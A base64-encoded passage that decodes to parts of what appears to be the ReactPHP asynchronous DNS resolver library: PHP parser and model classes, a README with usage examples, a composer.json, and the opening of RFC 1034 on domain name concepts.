JGNvbnN1bWVkICs9IDQ7CgogICAgICAgIGxpc3QoJHJkTGVuZ3RoKSA9IGFycmF5X3ZhbHVlcyh1bnBhY2soJ24nLCBzdWJzdHIoJG1lc3NhZ2UtPmRhdGEsICRjb25zdW1lZCwgMikpKTsKICAgICAgICAkY29uc3VtZWQgKz0gMjsKCiAgICAgICAgJHJkYXRhID0gbnVsbDsKCiAgICAgICAgaWYgKE1lc3NhZ2U6OlRZUEVfQSA9PT0gJHR5cGUpIHsKICAgICAgICAgICAgJGlwID0gc3Vic3RyKCRtZXNzYWdlLT5kYXRhLCAkY29uc3VtZWQsICRyZExlbmd0aCk7CiAgICAgICAgICAgICRjb25zdW1lZCArPSAkcmRMZW5ndGg7CgogICAgICAgICAgICAkcmRhdGEgPSBpbmV0X250b3AoJGlwKTsKICAgICAgICB9CgogICAgICAgIGlmIChNZXNzYWdlOjpUWVBFX0NOQU1FID09PSAkdHlwZSkgewogICAgICAgICAgICBsaXN0KCRib2R5TGFiZWxzLCAkY29uc3VtZWQpID0gJHRoaXMtPnJlYWRMYWJlbHMoJG1lc3NhZ2UtPmRhdGEsICRjb25zdW1lZCk7CgogICAgICAgICAgICAkcmRhdGEgPSBpbXBsb2RlKCcuJywgJGJvZHlMYWJlbHMpOwogICAgICAgIH0KCiAgICAgICAgJG1lc3NhZ2UtPmNvbnN1bWVkID0gJGNvbnN1bWVkOwoKICAgICAgICAkbmFtZSA9IGltcGxvZGUoJy4nLCAkbGFiZWxzKTsKICAgICAgICAkdHRsID0gJHRoaXMtPnNpZ25lZExvbmdUb1Vuc2lnbmVkTG9uZygkdHRsKTsKICAgICAgICAkcmVjb3JkID0gbmV3IFJlY29yZCgkbmFtZSwgJHR5cGUsICRjbGFzcywgJHR0bCwgJHJkYXRhKTsKCiAgICAgICAgJG1lc3NhZ2UtPmFuc3dlcnNbXSA9ICRyZWNvcmQ7CgogICAgICAgIGlmICgkbWVzc2FnZS0+aGVhZGVyLT5nZXQoJ2FuQ291bnQnKSAhPSBjb3VudCgkbWVzc2FnZS0+YW5zd2VycykpIHsKICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5wYXJzZUFuc3dlcigkbWVzc2FnZSk7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gJG1lc3NhZ2U7CiAgICB9CgogICAgcHJpdmF0ZSBmdW5jdGlvbiByZWFkTGFiZWxzKCRkYXRhLCAkY29uc3VtZWQpCiAgICB7CiAgICAgICAgJGxhYmVscyA9IGFycmF5KCk7CgogICAgICAgIHdoaWxlICh0cnVlKSB7CiAgICAgICAgICAgIGlmICgkdGhpcy0+aXNFbmRPZkxhYmVscygkZGF0YSwgJGNvbnN1bWVkKSkgewogICAgICAgICAgICAgICAgJGNvbnN1bWVkICs9IDE7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgaWYgKCR0aGlzLT5pc0NvbXByZXNzZWRMYWJlbCgkZGF0YSwgJGNvbnN1bWVkKSkgewogICAgICAgICAgICAgICAgbGlzdCgkbmV3TGFiZWxzLCAkY29uc3VtZWQpID0gJHRoaXMtPmdldENvbXByZXNzZWRMYWJlbCgkZGF0YSwgJGNvbnN1bWVkKTsKICAgICAgICAgICAgICAgICRsYWJlbHMgPSBhcnJheV9tZXJnZSgkbGFiZWxzLCAkbmV3TGFiZWxzKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CgogICAgICAgICAgICAkbGVuZ3RoID0gb3JkKHN1YnN0cigkZGF0YSwgJGNvbnN1bWVkLCAxKSk7CiAgICAgICAgICAgICRjb25zdW1lZCArPSAxOwoKICAgICAgICAgICAgaWYgKHN0cmxlbigkZGF0YSkgLSAkY29uc3VtZWQgPCAkbGVuZ3RoKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gYXJyYXkobnVsbCwgbnVsbCk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgICRsYWJlbHNbXSA9IHN1YnN0cigkZGF0YSwgJGNvbnN1bWVkLCAkbGVuZ3RoKTsKICAgICAgICAgICAgJGNvbnN1bWVkICs9ICRsZW5ndGg7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gYXJyYXkoJGxhYmVscywgJGNvbnN1bWVkKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gaXNFbmRPZkxhYmVscygkZGF0YSwgJGNvbnN1bWVkKQogICAgewogICAgICAgICRsZW5ndGggPSBvcmQoc3Vic3RyKCRkYXRhLCAkY29uc3VtZWQsIDEpKTsKICAgICAgICByZXR1cm4gMCA9PT0gJGxlbmd0aDsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0Q29tcHJlc3NlZExhYmVsKCRkYXRhLCAkY29uc3VtZWQpCiAgICB7CiAgICAgICAgbGlzdCgkbmFtZU9mZnNldCwgJGNvbnN1bWVkKSA9ICR0aGlzLT5nZXRDb21wcmVzc2VkTGFiZWxPZmZzZXQoJGRhdGEsICRjb25zdW1lZCk7CiAgICAgICAgbGlzdCgkbGFiZWxzKSA9ICR0aGlzLT5yZWFkTGFiZWxzKCRkYXRhLCAkbmFtZU9mZnNldCk7CgogICAgICAgIHJldHVybiBhcnJheSgkbGFiZWxzLCAkY29uc3VtZWQpOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBpc0NvbXByZXNzZWRMYWJlbCgkZGF0YSwgJGNvbnN1bWVkKQogICAgewogICAgICAgICRtYXNrID0gMHhjMDAwOyAvLyAxMTAwMDAwMDAwMDAwMDAwCiAgICAgICAgbGlzdCgkcGVlaykgPSBhcnJheV92YWx1ZXModW5wYWNrKCduJywgc3Vic3RyKCRkYXRhLCAkY29uc3VtZWQsIDIpKSk7CgogICAgICAgIHJldHVybiAoYm9vbCkgKCRwZWVrICYgJG1hc2spOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRDb21wcmVzc2VkTGFiZWxPZmZzZXQoJGRhdGEsICRjb25zdW1lZCkKICAgIHsKICAgICAgICAkbWFzayA9IDB4M2ZmZjsgLy8gMDAxMTExMTExMTExMTExMQogICAgICAgIGxpc3QoJHBlZWspID0gYXJyYXlfdmFsdWVzKHVucGFjaygnbicsIHN1YnN0cigkZGF0YSwgJGNvbnN1bWVkLCAyKSkpOwoKICAgICAgICByZXR1cm4gYXJyYXkoJHBlZWsgJiAkbWFzaywgJGNvbnN1bWVkICsgMik7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHNpZ25lZExvbmdUb1Vuc2lnbmVkTG9uZygkaSkKICAgIHsKICAgICAgICByZXR1cm4gJGkgJiAweDgwMDAwMDAwID8gJGkgLSAweGZmZmZmZmZmIDogJGk7CiAgICB9Cn0KPD9waHAKCm5hbWVzcGFjZSBSZWFjdFxEbnNcTW9kZWw7CgpjbGFzcyBIZWFkZXJCYWcKewogICAgcHVibGljICRkYXRhID0gJyc7CgogICAgcHVibGljICRhdHRyaWJ1dGVzID0gYXJyYXkoCiAgICAgICAgJ3FkQ291bnQnICAgPT4gMCwKICAgICAgICAnYW5Db3VudCcgICA9PiAwLAogICAgICAgICduc0NvdW50JyAgID0+IDAsCiAgICAgICAgJ2FyQ291bnQnICAgPT4gMCwKICAgICAgICAncXInICAgICAgICA9PiAwLAogICAgICAgICdvcGNvZGUnICAgID0+IE1lc3NhZ2U6Ok9QQ09ERV9RVUVSWSwKICAgICAgICAnYWEnICAgICAgICA9PiAwLAogICAgICAgICd0YycgICAgICAgID0+IDAsCiAgICAgICAgJ3JkJyAgICAgICAgPT4gMCwKICAgICAgICAncmEnICAgICAgICA9PiAwLAogICAgICAgICd6JyAgICAgICAgID0+IDAsCiAgICAgICAgJ3Jjb2RlJyAgICAgPT4gTWVzc2FnZTo6UkNPREVfT0ssCiAgICApOwoKICAgIHB1YmxpYyBmdW5jdGlvbiBnZXQoJG5hbWUpCiAgICB7CiAgICAgICAgcmV0dXJuIGlzc2V0KCR0aGlzLT5hdHRyaWJ1dGVzWyRuYW1lXSkgPyAkdGhpcy0+YXR0cmlidXRlc1skbmFtZV0gOiBudWxsOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBzZXQoJG5hbWUsICR2YWx1ZSkKICAgIHsKICAgICAgICAkdGhpcy0+YXR0cmlidXRlc1skbmFtZV0gPSAkdmFsdWU7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGlzUXVlcnkoKQogICAgewogICAgICAgIHJldHVybiAwID09PSAkdGhpcy0+YXR0cmlidXRlc1sncXInXTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gaXNSZXNwb25zZSgpCiAgICB7CiAgICAgICAgcmV0dXJuIDEgPT09ICR0aGlzLT5hdHRyaWJ1dGVzWydxciddOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBpc1RydW5jYXRlZCgpCiAgICB7CiAgICAgICAgcmV0dXJuIDEgPT09ICR0aGlzLT5hdHRyaWJ1dGVzWyd0YyddOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBwb3B1bGF0ZUNvdW50cyhNZXNzYWdlICRtZXNzYWdlKQogICAgewogICAgICAgICR0aGlzLT5hdHRyaWJ1dGVzWydxZENvdW50J10gPSBjb3VudCgkbWVzc2FnZS0+cXVlc3Rpb25zKTsKICAgICAgICAkdGhpcy0+YXR0cmlidXRlc1snYW5Db3VudCddID0gY291bnQoJG1lc3NhZ2UtPmFuc3dlcnMpOwogICAgICAgICR0aGlzLT5hdHRyaWJ1dGVzWyduc0NvdW50J10gPSBjb3VudCgkbWVzc2FnZS0+YXV0aG9yaXR5KTsKICAgICAgICAkdGhpcy0+YXR0cmlidXRlc1snYXJDb3VudCddID0gY291bnQoJG1lc3NhZ2UtPmFkZGl0aW9uYWwpOwogICAgfQp9Cjw/cGhwCgpuYW1lc3BhY2UgUmVhY3RcRG5zXE1vZGVsOwoKY2xhc3MgTWVzc2FnZQp7CiAgICBjb25zdCBUWVBFX0EgPSAxOwogICAgY29uc3QgVFlQRV9OUyA9IDI7CiAgICBjb25zdCBUWVBFX0NOQU1FID0gNTsKICAgIGNvbnN0IFRZUEVfU09BID0gNjsKICAgIGNvbnN0IFRZUEVfUFRSID0gMTI7CiAgICBjb25zdCBUWVBFX01YID0gMTU7CiAgICBjb25zdCBUWVBFX1RYVCA9IDE2OwoKICAgIGNvbnN0IENMQVNTX0lOID0gMTsKCiAgICBjb25zdCBPUENPREVfUVVFUlkgPSAwOwogICAgY29uc3QgT1BDT0RFX0lRVUVSWSA9IDE7IC8vIGludmVyc2UgcXVlcnkKICAgIGNvbnN0IE9QQ09ERV9TVEFUVVMgPSAyOwoKICAgIGNvbnN0IFJDT0RFX09LID0gMDsKICAgIGNvbnN0IFJDT0RFX0ZPUk1BVF9FUlJPUiA9IDE7CiAgICBjb25zdCBSQ09ERV9TRVJWRVJfRkFJTFVSRSA9IDI7CiAgICBjb25zdCBSQ09ERV9OQU1FX0VSUk9SID0gMzsKICAgIGNvbnN0IFJDT0RFX05PVF9JTVBMRU1FTlRFRCA9IDQ7CiAgICBjb25zdCBSQ09ERV9SRUZVU0VEID0gNTsKCiAgICBwdWJsaWMgJGRhdGEgPSAnJzsKCiAgICBwdWJsaWMgJGhlYWRlcjsKICAgIHB1YmxpYyAkcXVlc3Rpb25zID0gYXJyYXkoKTsKICAgIHB1YmxpYyAkYW5zd2VycyA9IGFycmF5KCk7CiAgICBwdWJsaWMgJGF1dGhvcml0eSA9IGFycmF5KCk7CiAgICBwdWJsaWMgJGFkZGl0aW9uYWwgPSBhcnJheSgpOwoKICAgIHB1YmxpYyAkY29uc3VtZWQgPSAwOwoKICAgIHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpCiAgICB7CiAgICAgICAgJHRoaXMtPmhlYWRlciA9IG5ldyBIZWFkZXJCYWcoKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gcHJlcGFyZSgpCiAgICB7CiAgICAgICAgJHRoaXMtPmhlYWRlci0+cG9wdWxhdGVDb3VudHMoJHRoaXMpOwogICAgfQp9Cjw/cGhwCgpuYW1lc3BhY2UgUmVhY3RcRG5zXE1vZGVsOwoKY2xhc3MgUmVjb3JkCnsKICAgIHB1YmxpYyAkbmFtZTsKICAgIHB1YmxpYyAkdHlwZTsKICAgIHB1YmxpYyAkY2xhc3M7CiAgICBwdWJsaWMgJHR0bDsKICAgIHB1YmxpYyAkZGF0YTsKCiAgICBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJG5hbWUsICR0eXBlLCAkY2xhc3MsICR0dGwgPSAwLCAkZGF0YSA9IG51bGwpCiAgICB7CiAgICAgICAgJHRoaXMtPm5hbWUgICAgID0gJG5hbWU7CiAgICAgICAgJHRoaXMtPnR5cGUgICAgID0gJHR5cGU7CiAgICAgICAgJHRoaXMtPmNsYXNzICAgID0gJGNsYXNzOwogICAgICAgICR0aGlzLT50dGwgICAgICA9ICR0dGw7CiAgICAgICAgJHRoaXMtPmRhdGEgICAgID0gJGRhdGE7CiAgICB9Cn0KIyBEbnMgQ29tcG9uZW50CgpBc3luYyBETlMgcmVzb2x2ZXIuCgpUaGUgbWFpbiBwb2ludCBvZiB0aGUgRE5TIGNvbXBvbmVudCBpcyB0byBwcm92aWRlIGFzeW5jIEROUyByZXNvbHV0aW9uLgpIb3dldmVyLCBpdCBpcyByZWFsbHkgYSB0b29sa2l0IGZvciB3b3JraW5nIHdpdGggRE5TIG1lc3NhZ2VzLCBhbmQgY291bGQKZWFzaWx5IGJlIHVzZWQgdG8gY3JlYXRlIGEgRE5TIHNlcnZlci4KCiMjIEJhc2ljIHVzYWdlCgpUaGUgbW9zdCBiYXNpYyB1c2FnZSBpcyB0byBqdXN0IGNyZWF0ZSBhIHJlc29sdmVyIHRocm91Z2ggdGhlIHJlc29sdmVyCmZhY3RvcnkuIEFsbCB5b3UgbmVlZCB0byBnaXZlIGl0IGlzIGEgbmFtZXNlcnZlciwgdGhlbiB5b3UgY2FuIHN0YXJ0IHJlc29sdmluZwpuYW1lcywgYmFieSEKCiAgICAkbG9vcCA9IFJlYWN0XEV2ZW50TG9vcFxGYWN0b3J5OjpjcmVhdGUoKTsKICAgICRmYWN0b3J5ID0gbmV3IFJlYWN0XERuc1xSZXNvbHZlclxGYWN0b3J5KCk7CiAgICAkZG5zID0gJGZhY3RvcnktPmNyZWF0ZSgnOC44LjguOCcsICRsb29wKTsKCiAgICAkZG5zLT5yZXNvbHZlKCdpZ29yLmlvJyktPnRoZW4oZnVuY3Rpb24gKCRpcCkgewogICAgICAgIGVjaG8gIkhvc3Q6ICRpcFxuIjsKICAgIH0pOwoKQnV0IHRoZXJlJ3MgbW9yZS4KCiMjIENhY2hpbmcKCllvdSBjYW4gY2FjaGUgcmVzdWx0cyBieSBjb25maWd1cmluZyB0aGUgcmVzb2x2ZXIgdG8gdXNlIGEgYENhY2hlZEV4ZWN1dG9yYDoKCiAgICAkbG9vcCA9IFJlYWN0XEV2ZW50TG9vcFxGYWN0b3J5OjpjcmVhdGUoKTsKICAgICRmYWN0b3J5ID0gbmV3IFJlYWN0XERuc1xSZXNvbHZlclxGYWN0b3J5KCk7CiAgICAkZG5zID0gJGZhY3RvcnktPmNyZWF0ZUNhY2hlZCgnOC44LjguOCcsICRsb29wKTsKCiAgICAkZG5zLT5yZXNvbHZlKCdpZ29yLmlvJyktPnRoZW4oZnVuY3Rpb24gKCRpcCkgewogICAgICAgIGVjaG8gIkhvc3Q6ICRpcFxuIjsKICAgIH0pOwoKICAgIC4uLgoKICAgICRkbnMtPnJlc29sdmUoJ2lnb3IuaW8nKS0+dGhlbihmdW5jdGlvbiAoJGlwKSB7CiAgICAgICAgZWNobyAiSG9zdDogJGlwXG4iOwogICAgfSk7CgpJZiB0aGUgZmlyc3QgY2FsbCByZXR1cm5zIGJlZm9yZSB0aGUgc2Vjb25kLCBvbmx5IG9uZSBxdWVyeSB3aWxsIGJlIGV4ZWN1dGVkLgpUaGUgc2Vjb25kIHJlc3VsdCB3aWxsIGJlIHNlcnZlZCBmcm9tIGNhY2hlLgoKIyMgVG9kbwoKKiBJbXBsZW1lbnQgbWVzc2FnZSBib2R5IHBhcnNpbmcgZm9yIHR5cGVzIG90aGVyIHRoYW4gQSBhbmQgQ05BTUU6IE5TLCBTT0EsIFBUUiwgTVgsIFRYVCwgQUFBQQoqIEltcGxlbWVudCBgYXV0aG9yaXR5YCBhbmQgYGFkZGl0aW9uYWxgIG1lc3NhZ2UgcGFydHMKKiBSZXNwZWN0IC9ldGMvaG9zdHMKCiMgUmVmZXJlbmNlcwoKKiBbUkZDMTAzNF0oaHR0cDovL3Rvb2xzLmlldGYub3JnL2h0bWwvcmZjMTAzNCkgRG9tYWluIE5hbWVzIC0gQ29uY2VwdHMgYW5kIEZhY2lsaXRpZXMKKiBbUkZDMTAzNV0oaHR0cDovL3Rvb2xzLmlldGYub3JnL2h0bWwvcmZjMTAzNSkgRG9tYWluIE5hbWVzIC0gSW1wbGVtZW50YXRpb24gYW5kIFNwZWNpZmljYXRpb24KewogICAgIm5hbWUiOiAicmVhY3QvZG5zIiwKICAgICJkZXNjcmlwdGlvbiI6ICJBc3luYyBETlMgcmVzb2x2ZXIuIiwKICAgICJrZXl3b3JkcyI6IFsiZG5zIiwgImRucy1yZXNvbHZlciJdLAogICAgImxpY2Vuc2UiOiAiTUlUIiwKICAgICJyZXF1aXJlIjogewogICAgICAgICJwaHAiOiAiPj01LjMuMiIsCiAgICAgICAgInJlYWN0L2NhY2hlIjogIjAuMy4qIiwKICAgICAgICAicmVhY3Qvc29ja2V0IjogIjAuMy4qIiwKICAgICAgICAicmVhY3QvcHJvbWlzZSI6ICJ+MS4wIgogICAgfSwKICAgICJhdXRvbG9hZCI6IHsKICAgICAgICAicHNyLTAiOiB7ICJSZWFjdFxcRG5zIjogIiIgfQogICAgfSwKICAgICJ0YXJnZXQtZGlyIjogIlJlYWN0L0RucyIsCiAgICAiZXh0cmEiOiB7CiAgICAgICAgImJyYW5jaC1hbGlhcyI6IHsKICAgICAgICAgICAgImRldi1tYXN0ZXIiOiAiMC4zLWRldiIKICAgICAgICB9CiAgICB9Cn0KPD9waHAKCm5hbWVzcGFjZSBSZWFjdFxEbnM7CgpjbGFzcyBSZWNvcmROb3RGb3VuZEV4Y2VwdGlvbiBleHRlbmRzIFxFeGNlcHRpb24Kewp9Ck5ldHdvcmsgV29ya2luZyBHcm91cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQLiBNb2NrYXBldHJpcwpSZXF1ZXN0IGZvciBDb21tZW50czogMTAzNCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBJU0kKT2Jzb2xldGVzOiBSRkNzIDg4MiwgODgzLCA5NzMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBOb3ZlbWJlciAxOTg3CgoKICAgICAgICAgICAgICAgICBET01BSU4gTkFNRVMgLSBDT05DRVBUUyBBTkQgRkFDSUxJVElFUwoKCgoxLiBTVEFUVVMgT0YgVEhJUyBNRU1PCgpUaGlzIFJGQyBpcyBhbiBpbnRyb2R1Y3Rpb24gdG8gdGhlIERvbWFpbiBOYW1lIFN5c3RlbSAoRE5TKSwgYW5kIG9taXRzCm1hbnkgZGV0YWlscyB3aGljaCBjYW4gYmUgZm91bmQgaW4gYSBjb21wYW5pb24gUkZDLCAiRG9tYWluIE5hbWVzIC0KSW1wbGVtZW50YXRpb24gYW5kIFNwZWNpZmljYXRpb24iIFtSRkMtMTAzNV0uICBUaGF0IFJGQyBhc3N1bWVzIHRoYXQgdGhlCnJlYWRlciBpcyBmYW1pbGlhciB3aXRoIHRoZSBjb25jZXB0cyBkaXNjdXNzZWQgaW4gdGhpcyBtZW1vLgoKQSBzdWJzZXQgb2YgRE5TIGZ1bmN0aW9ucyBhbmQgZGF0YSB0eXBlcyBjb25zdGl0dXRlIGFuIG9mZmljaWFsCnByb3RvY29sLiAgVGhlIG9mZmljaWFsIHByb3RvY29sIGluY2x1ZGVzIHN0YW5kYXJkIHF1ZXJpZXMgYW5kIHRoZWlyCnJlc3BvbnNlcyBhbmQgbW9zdCBvZiB0aGUgSW50ZXJuZXQgY2xhc3MgZGF0YSBmb3JtYXRzIChlLmcuLCBob3N0CmFkZHJlc3NlcykuCgpIb3dldmVyLCB0aGUgZG9tYWluIHN5c3RlbSBpcyBpbnRlbnRpb25hbGx5IGV4dGVuc2libGUuICBSZXNlYXJjaGVycyBhcmUKY29udGludW91c2x5IHByb3Bvc2luZywgaW1wbGVtZW50aW5nIGFuZCBleHBlcmltZW50aW5nIHdpdGggbmV3IGRhdGEKdHlwZXMsIHF1ZXJ5IHR5cGVzLCBjbGFzc2VzLCBmdW5jdGlvbnMsIGV0Yy4gIFRodXMgd2hpbGUgdGhlIGNvbXBvbmVudHMKb2YgdGhlIG9mZmljaWFsIHByb3RvY29sIGFyZSBleHBlY3RlZCB0byBzdGF5IGVzc2VudGlhbGx5IHVuY2hhbmdlZCBhbmQKb3BlcmF0ZSBhcyBhIHByb2R1Y3Rpb24gc2VydmljZSwgZXhwZXJpbWVudGFsIGJlaGF2aW9yIHNob3VsZCBhbHdheXMgYmUKZXhwZWN0ZWQgaW4gZXh0ZW5zaW9ucyBiZXlvbmQgdGhlIG9mZmljaWFsIHByb3RvY29sLiAgRXhwZXJpbWVudGFsIG9yCm9ic29sZXRlIGZlYXR1cmVzIGFyZSBjbGVhcmx5IG1hcmtlZCBpbiB0aGVzZSBSRkNzLCBhbmQgc3VjaCBpbmZvcm1hdGlvbgpzaG91bGQgYmUgdXNlZCB3aXRoIGNhdXRpb24uCgpUaGUgcmVhZGVyIGlzIGVzcGVjaWFsbHkgY2F1dGlvbmVkIG5vdCB0byBkZXBlbmQgb24gdGhlIHZhbHVlcyB3aGljaAphcHBlYXIgaW4gZXhhbXBsZXMgdG8gYmUgY3VycmVudCBvciBjb21wbGV0ZSwgc2luY2UgdGhlaXIgcHVycG9zZSBpcwpwcmltYXJpbHkgcGVkYWdvZ2ljYWwuICBEaXN0cmlidXRpb24gb2YgdGhpcyBtZW1vIGlzIHVubGltaXRlZC4KCjIuIElOVFJPRFVDVElPTgoKVGhpcyBSRkMgaW50cm9kdWNlcyBkb21haW4gc3R5bGUgbmFtZXMsIHRoZWlyIHVzZSBmb3IgSW50ZXJuZXQgbWFpbCBhbmQKaG9zdCBhZGRyZXNzIHN1cHBvcnQsIGFuZCB0aGUgcHJvdG9jb2xzIGFuZCBzZXJ2ZXJzIHVzZWQgdG8gaW1wbGVtZW50CmRvbWFpbiBuYW1lIGZhY2lsaXRpZXMuCgoyLjEuIFRoZSBoaXN0b3J5IG9mIGRvbWFpbiBuYW1lcwoKVGhlIGltcGV0dXMgZm9yIHRoZSBkZXZlbG9wbWVudCBvZiB0aGUgZG9tYWluIHN5c3RlbSB3YXMgZ3Jvd3RoIGluIHRoZQpJbnRlcm5ldDoKCiAgIC0gSG9zdCBuYW1lIHRvIGFkZHJlc3MgbWFwcGluZ3Mgd2VyZSBtYWludGFpbmVkIGJ5IHRoZSBOZXR3b3JrCiAgICAgSW5mb3JtYXRpb24gQ2VudGVyIChOSUMpIGluIGEgc2luZ2xlIGZpbGUgKEhPU1RTLlRYVCkgd2hpY2gKICAgICB3YXMgRlRQZWQgYnkgYWxsIGhvc3RzIFtSRkMtOTUyLCBSRkMtOTUzXS4gIFRoZSB0b3RhbCBuZXR3b3JrCgoKCk1vY2thcGV0cmlzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbUGFnZSAxXQoMClJGQyAxMDM0ICAgICAgICAgICAgIERvbWFpbiBDb25jZXB0cyBhbmQgRmFjaWxpdGllcyAgICAgICAgTm92ZW1iZXIgMTk4NwoKCiAgICAgYmFuZHdpZHRoIGNvbnN1bWVkIGluIGRpc3RyaWJ1dGluZyBhIG5ldyB2ZXJzaW9uIGJ5IHRoaXMKICAgICBzY2hlbWUgaXMgcHJvcG9ydGlvbmFsIHRvIHRoZSBzcXVhcmUgb2YgdGhlIG51bWJlciBvZiBob3N0cyBpbgogICAgIHRoZSBuZXR3b3JrLCBhbmQgZXZlbiB3aGVuIG11bHRpcGxlIGxldmVscyBvZiBGVFAgYXJlIHVzZWQsCiAgICAgdGhlIG91dGdvaW5nIEZUUCBsb2FkIG9uIHRoZSBOSUMgaG9zdCBpcyBjb25zaWRlcmFibGUuCiAgICAgRXhwbG9zaXZlIGdyb3d0aCBpbiB0aGUgbnVtYmVyIG9mIGhvc3RzIGRpZG4ndCBib2RlIHdlbGwgZm9yCiAgICAgdGhlIGZ1dHVyZS4KCiAgIC0gVGhlIG5ldHdvcmsgcG9wdWxhdGlvbiB3YXMgYWxzbyBjaGFuZ2luZyBpbiBjaGFyYWN0ZXIuICBUaGUKICAgICB0aW1lc2hhcmVkIGhvc3RzIHRoYXQgbWFkZSB1cCB0aGUgb3JpZ2luYWwgQVJQQU5FVCB3ZXJlIGJlaW5nCiAgICAgcmVwbGFjZWQgd2l0aCBsb2NhbCBuZXR3b3JrcyBvZiB3b3Jrc3RhdGlvbnMuICBMb2NhbAogICAgIG9yZ2FuaXphdGlvbnMgd2VyZSBhZG1pbmlzdGVyaW5nIHRoZWlyIG93biBuYW1lcyBhbmQKICAgICBhZGRyZXNzZXMsIGJ1dCBoYWQgdG8gd2FpdCBmb3IgdGhlIE5JQyB0byBjaGFuZ2UgSE9TVFMuVFhUIHRvCiAgICAgbWFrZSBjaGFuZ2VzIHZpc2libGUgdG8gdGhlIEludGVybmV0IGF0IGxhcmdlLiAgT3JnYW5pemF0aW9ucwogICAgIGFsc28gd2FudGVkIHNvbWUgbG9jYWwgc3RydWN0dXJlIG9uIHRoZSBuYW1lIHNwYWNlLgoKICAgLSBUaGUgYXBwbGljYXRpb25zIG9uIHRoZSBJbnRlcm5ldCB3ZXJlIGdldHRpbmcgbW9yZQogICAgIHNvcGhpc3RpY2F0ZWQgYW5kIGNyZWF0aW5nIGEgbmVlZCBmb3IgZ2VuZXJhbCBwdXJwb3NlIG5hbWUKICAgICBzZXJ2aWNlLgoKClRoZSByZXN1bHQgd2FzIHNldmVyYWwgaWRlYXMgYWJvdXQgbmFtZSBzcGFjZXMgYW5kIHRoZWlyIG1hbmFnZW1lbnQKW0lFTi0xMTYsIFJGQy03OTksIFJGQy04MTksIFJGQy04MzBdLiAgVGhlIHByb3Bvc2FscyB2YXJpZWQsIGJ1dCBhCmNvbW1vbiB0aHJlYWQgd2FzIHRoZSBpZGVhIG9mIGEgaGllcmFyY2hpY2FsIG5hbWUgc3BhY2UsIHdpdGggdGhlCmhpZXJhcmNoeSByb3VnaGx5IGNvcnJlc3BvbmRpbmcgdG8gb3JnYW5pemF0aW9uYWwgc3RydWN0dXJlLCBhbmQgbmFtZXMKdXNpbmcgIi4iICBhcyB0aGUgY2hhcmFjdGVyIHRvIG1hcmsgdGhlIGJvdW5kYXJ5IGJldHdlZW4gaGllcmFyY2h5CmxldmVscy4gIEEgZGVzaWduIHVzaW5nIGEgZGlzdHJpYnV0ZWQgZGF0YWJhc2UgYW5kIGdlbmVyYWxpemVkIHJlc291cmNlcwp3YXMgZGVzY3JpYmVkIGluIFtSRkMtODgyLCBSRkMtODgzXS4gIEJhc2VkIG9uIGV4cGVyaWVuY2Ugd2l0aCBzZXZlcmFsCmltcGxlbWVudGF0aW9ucywgdGhlIHN5c3RlbSBldm9sdmVkIGludG8gdGhlIHNjaGVtZSBkZXNjcmliZWQgaW4gdGhpcwptZW1vLgoKVGhlIHRlcm1zICJkb21haW4iIG9yICJkb21haW4gbmFtZSIgYXJlIHVzZWQgaW4gbWFueSBjb250ZXh0cyBiZXlvbmQgdGhlCkROUyBkZXNjcmliZWQgaGVyZS4gIFZlcnkgb2Z0ZW4sIHRoZSB0ZXJtIGRvbWFpbiBuYW1lIGlzIHVzZWQgdG8gcmVmZXIKdG8gYSBuYW1lIHdpdGggc3RydWN0dXJlIGluZGljYXRlZCBieSBkb3RzLCBidXQgbm8gcmVsYXRpb24gdG8gdGhlIEROUy4KVGhpcyBpcyBwYXJ0aWN1bGFybHkgdHJ1ZSBpbiBtYWlsIGFkZHJlc3NpbmcgW1F1YXJ0ZXJtYW4gODZdLgoKMi4yLiBETlMgZGVzaWduIGdvYWxzCgpUaGUgZGVzaWduIGdvYWxzIG9mIHRoZSBETlMgaW5mbHVlbmNlIGl0cyBzdHJ1Y3R1cmUuICBUaGV5IGFyZToKCiAgIC0gVGhlIHByaW1hcnkgZ29hbCBpcyBhIGNvbnNpc3RlbnQgbmFtZSBzcGFjZSB3aGljaCB3aWxsIGJlIHVzZWQKICAgICBmb3IgcmVmZXJyaW5nIHRvIHJlc291cmNlcy4gIEluIG9yZGVyIHRvIGF2b2lkIHRoZSBwcm9ibGVtcwogICAgIGNhdXNlZCBieSBhZCBob2MgZW5jb2RpbmdzLCBuYW1lcyBzaG91bGQgbm90IGJlIHJlcXVpcmVkIHRvCiAgICAgY29udGFpbiBuZXR3b3JrIGlkZW50aWZpZXJzLCBhZGRyZXNzZXMsIHJvdXRlcywgb3Igc2ltaWxhcgogICAgIGluZm9ybWF0aW9uIGFzIHBhcnQgb2YgdGhlIG5hbWUuCgogICAtIFRoZSBzaGVlciBzaXplIG9mIHRoZSBkYXRhYmFzZSBhbmQgZnJlcXVlbmN5IG9mIHVwZGF0ZXMKICAgICBzdWdnZXN0IHRoYXQgaXQgbXVzdCBiZSBtYWludGFpbmVkIGluIGEgZGlzdHJpYnV0ZWQgbWFubmVyLAogICAgIHdpdGggbG9jYWwgY2FjaGluZyB0byBp